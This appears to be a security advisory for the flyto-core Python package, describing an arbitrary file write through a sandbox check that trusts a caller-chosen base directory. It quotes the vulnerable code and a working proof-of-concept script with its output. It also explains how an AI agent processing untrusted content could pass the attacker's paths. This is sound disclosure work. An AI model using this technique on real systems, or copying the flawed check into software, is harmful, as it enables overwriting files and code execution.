{"id":"PYSEC-2026-3568","summary":"Flyto2 Core: Arbitrary file write via image.download (and other file-writing modules)","details":"## Summary\n\n`image.download` fetches a URL and writes the response to disk. It does not use the central path guard (`validate_path_with_env_config`, which confines writes to `FLYTO_SANDBOX_DIR`); instead it confines the output to `output_dir`, but `output_dir` is itself a caller parameter. Since the attacker sets both the target and the base it is checked against, the check is meaningless, and attacker-controlled bytes (the HTTP response) land at any absolute path the process can write.\n\n## Affected code\n\n`src/core/modules/atomic/image/download.py`:\n\n```python\noutput_path = params.get('output_path')\noutput_dir  = params.get('output_dir', '/tmp')   # caller-controlled base\n...\nbase_real   = os.path.realpath(output_dir)\ntarget_real = os.path.realpath(output_path)\nif os.path.commonpath([base_real, target_real]) != base_real:\n    raise Exception('Invalid file path')          # base is attacker-chosen, so always passes\n...\ncontent = await response.read()                   # attacker-hosted bytes\nwith open(target_real, 'wb') as f:\n    f.write(content)\n```\n\n`commonpath` is used correctly, but the base is caller-supplied, so setting `output_dir='/'` passes any target. `file.write`, by contrast, uses `validate_path_with_env_config()` and stays inside `FLYTO_SANDBOX_DIR`.\n\nThis is not isolated to `image.download`. Most other file-writing modules write to a caller `output_path` with no path check at all: `image.convert`, `image.resize`, `image.crop`, `image.compress`, `image.rotate`, `image.watermark`, `image.qrcode_generate`, `document.excel_write`, `document.pdf_fill_form`, `document.word_to_pdf`, `document.pdf_to_word` and `browser.pagination`. Their content is format-constrained (a valid PNG/XLSX/SVG/PDF) but the path is fully attacker-chosen; `image.download` is the strongest because the bytes are arbitrary.\n\n## Reproduction\n\nSave as `filewrite_poc.py`, run with `PYTHONPATH=src/src python filewrite_poc.py`. It sets `FLYTO_SANDBOX_DIR` to a sandbox dir and writes to a sibling directory outside it.\n\n```python\n#!/usr/bin/env python3\nimport asyncio\nimport os\nimport tempfile\nimport threading\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nos.environ[\"FLYTO_ALLOWED_HOSTS\"] = \"localhost\"   # let the content host pass the SSRF check\nEVIL = b\"#!/bin/sh\\n# attacker-controlled content written outside the sandbox\\necho pwned\\n\"\n\nclass Content(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200); self.send_header(\"Content-Type\", \"image/jpeg\")\n        self.send_header(\"Content-Length\", str(len(EVIL))); self.end_headers(); self.wfile.write(EVIL)\n    def log_message(self, *a): pass\n\nasync def run(mid, params):\n    from core.modules.registry import ModuleRegistry\n    try:\n        return (\"RESULT\", await ModuleRegistry.execute(mid, params=params, context={}))\n    except Exception as e:\n        return (\"EXC\", f\"{type(e).__name__}: {e}\")\n\nasync def main():\n    from core.modules.atomic import register_all\n    register_all()\n    threading.Thread(target=HTTPServer((\"127.0.0.1\", 8080), Content).serve_forever, daemon=True).start()\n    root = tempfile.mkdtemp(prefix=\"flyto_poc_\")\n    sandbox = os.path.join(root, \"sandbox\"); os.makedirs(sandbox)\n    escape = os.path.join(root, \"ESCAPE\"); os.makedirs(escape)\n    os.environ[\"FLYTO_SANDBOX_DIR\"] = sandbox\n    target = os.path.join(escape, \"pwned\")   # OUTSIDE the sandbox\n    print(\"A) file.write:\", await run(\"file.write\", {\"path\": target, \"content\": \"x\"}))\n    print(\"B) image.download:\", await run(\"image.download\", {\n        \"url\": \"http://localhost:8080/x.jpg\", \"output_dir\": escape, \"output_path\": target}))\n    print(\"file written outside sandbox?\", os.path.exists(target))\n    if os.path.exists(target):\n        print(\"content:\", open(target, \"rb\").read())\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\nOutput:\n\n```\nA) file.write:     ('EXC', 'ModuleError: [PATH_TRAVERSAL] Path escapes base directory: \u003croot\u003e/ESCAPE/pwned ...')\nB) image.download: ('RESULT', {'ok': True, 'path': '\u003croot\u003e/ESCAPE/pwned', 'size': 79, ...})\nfile written outside sandbox? True\ncontent: b'#!/bin/sh\\n# attacker-controlled content written outside the sandbox\\necho pwned\\n'\n```\n\n`file.write` refuses the out-of-sandbox path; `image.download` writes attacker bytes there. Reproduced through the running HTTP API as well.\n\n## Reachability (why this is not operator self-service)\n\n`output_dir`, `output_path` and `url` are not supplied by the trusted operator. Every non-denylisted module is exposed to an AI agent through the generic `execute_module(module_id, params)` MCP tool (`core/mcp_handler.py`, `params` taken from the model's `arguments`) and to hosted-API clients, so these parameters are chosen by the LLM (which processes untrusted content) or a remote client. `FLYTO_SANDBOX_DIR` and the guard `file.write` uses exist specifically to confine file operations to a directory the caller cannot change; this module ignores that confinement and lets the caller pick both the target and the base it is checked against. Defeating a confinement control the vendor built is a bug, not intended behavior.\n\n## Impact\n\nWrite arbitrary content to an arbitrary path outside the operator's sandbox — overwrite config, drop a shell profile, cron job or `authorized_keys`, or replace a Python module, leading to code execution in typical deployments. The URL is SSRF-checked, so the attacker hosts the payload on their own public server (which the guard allows).\n\n## Suggested fix\n\nUse `validate_path_with_env_config()` for every module that writes files, so all writes are confined to `FLYTO_SANDBOX_DIR` (a base the caller cannot change), never to a caller-supplied `output_dir`.","aliases":["CVE-2026-67429","GHSA-2956-977x-2w3r"],"modified":"2026-08-04T14:30:26.180084503Z","published":"2026-08-04T11:34:45.369509Z","references":[{"type":"WEB","url":"https://github.com/flytohub/flyto-core/security/advisories/GHSA-2956-977x-2w3r"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-67429"},{"type":"WEB","url":"https://github.com/flytohub/flyto-core/commit/d5f89d71303e3c1e6418d347c5c55fcd173cc8cc"},{"type":"PACKAGE","url":"https://github.com/flytohub/flyto-core"},{"type":"WEB","url":"https://github.com/flytohub/flyto-core/releases/tag/v2.26.6"},{"type":"PACKAGE","url":"https://pypi.org/project/flyto-core"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-2956-977x-2w3r"}],"affected":[{"package":{"name":"flyto-core","ecosystem":"PyPI","purl":"pkg:pypi/flyto-core"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26.7"}]}],"versions":["1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.1","1.11.0","1.12.0","1.13.0","1.14.0","1.14.1","1.14.2","1.15.0","1.16.0","1.16.1","1.16.10","1.16.2","1.16.3","1.16.4","1.16.5","1.16.6","1.16.7","1.16.8","1.16.9","1.2.0","1.3.0","1.4.0","1.5.0","1.5.1","1.5.2","1.5.4","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0","1.8.1","1.8.10","1.8.11","1.8.12","1.8.13","1.8.14","1.8.15","1.8.16","1.8.17","1.8.2","1.8.3","1.8.4","1.8.5","1.8.6","1.8.7","1.8.8","1.8.9","1.9.0","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","2.10.0","2.11.0","2.12.0","2.12.1","2.12.13","2.12.15","2.12.16","2.12.17","2.12.18","2.12.19","2.12.2","2.12.20","2.12.21","2.12.22","2.12.23","2.12.24","2.12.25","2.12.26","2.12.27","2.12.28","2.12.3","2.12.4","2.12.5","2.12.6","2.13.0","2.13.1","2.13.2","2.13.3","2.13.4","2.14.0","2.15.0","2.15.1","2.15.2","2.15.3","2.16.1","2.16.3","2.16.4","2.17.0","2.17.1","2.17.2","2.17.3","2.17.4","2.17.5","2.17.6","2.17.7","2.17.8","2.18.0","2.18.1","2.18.10","2.18.11","2.18.2","2.18.3","2.18.4","2.18.5","2.18.6","2.18.8","2.18.9","2.19.0","2.2.0","2.2.1","2.2.2","2.20.0","2.20.1","2.20.2","2.20.3","2.20.4","2.23.0","2.23.1","2.23.2","2.23.3","2.24.0","2.24.1","2.24.2","2.24.3","2.24.4","2.25.0","2.25.1","2.25.10","2.25.11","2.25.12","2.25.13","2.25.14","2.25.15","2.25.16","2.25.17","2.25.18","2.25.19","2.25.2","2.25.20","2.25.21","2.25.22","2.25.23","2.25.24","2.25.25","2.25.26","2.25.27","2.25.3","2.25.4","2.25.5","2.25.6","2.25.7","2.25.8","2.25.9","2.26.0","2.26.1","2.26.2","2.26.3","2.26.4","2.26.5","2.3.0","2.3.1","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.4.5","2.4.6","2.4.7","2.5.0","2.5.1","2.5.2","2.6.0","2.6.1","2.7.0","2.7.1","2.7.2","2.7.3","2.7.4","2.7.5","2.7.6","2.8.0","2.9.0"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/flyto-core/PYSEC-2026-3568.yaml"}}],"schema_version":"1.8.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H"}]}